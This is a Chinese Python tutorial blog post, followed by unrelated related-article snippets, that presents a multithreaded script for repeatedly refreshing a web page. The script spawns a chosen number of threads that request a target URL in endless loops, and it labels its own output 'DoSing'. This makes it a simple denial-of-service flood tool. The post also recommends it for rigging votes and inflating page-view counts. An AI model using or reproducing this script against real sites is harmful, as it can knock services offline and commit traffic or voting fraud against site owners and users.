python使用多线程不断刷新网页的方法

yipeiwu_com6年前Python基础

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to //www.jb51.net/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

相关文章

详解python的argpare和click模块小结

详解python的argpare和click模块小结

一、argparse模块 1、模块说明 # argparse是python的标准库中用来解析命令行参数的模块,用来替代已经过时的optparse模块,argparse能够根据程序中的...

Python面向对象程序设计构造函数和析构函数用法分析

本文实例讲述了Python面向对象程序设计构造函数和析构函数用法。分享给大家供大家参考,具体如下: 构造函数和析构函数 1、构造方法的使用 很多类都倾向于将对象创建为有初始化状态.因此类...

java中的控制结构(if,循环)详解

前几天在看一个camera CTS bug时,结果在一个java for循环上有点蒙。正好赶上这个点总结一下。 java中的控制结构: 条件结构 这里主要是一些if,...

详解用Python练习画个美队盾牌

详解用Python练习画个美队盾牌

0 环境 Python版本:3.6.6 操作系统:Mac OS Mojave 10.14.2 1 引言 最近我媳妇每天晚上吃饭时候也拿手机看,上厕所也在看。 看着看着还会笑?WTF?你...

django 信号调度机制详解

django 信号调度机制详解

前言 Django中提供了“信号调度”,用于在框架执行操作时解耦。通俗来讲,就是一些动作发生的时候,信号允许特定的发送者去提醒一些接受者。 1、Django内置信号 Model si...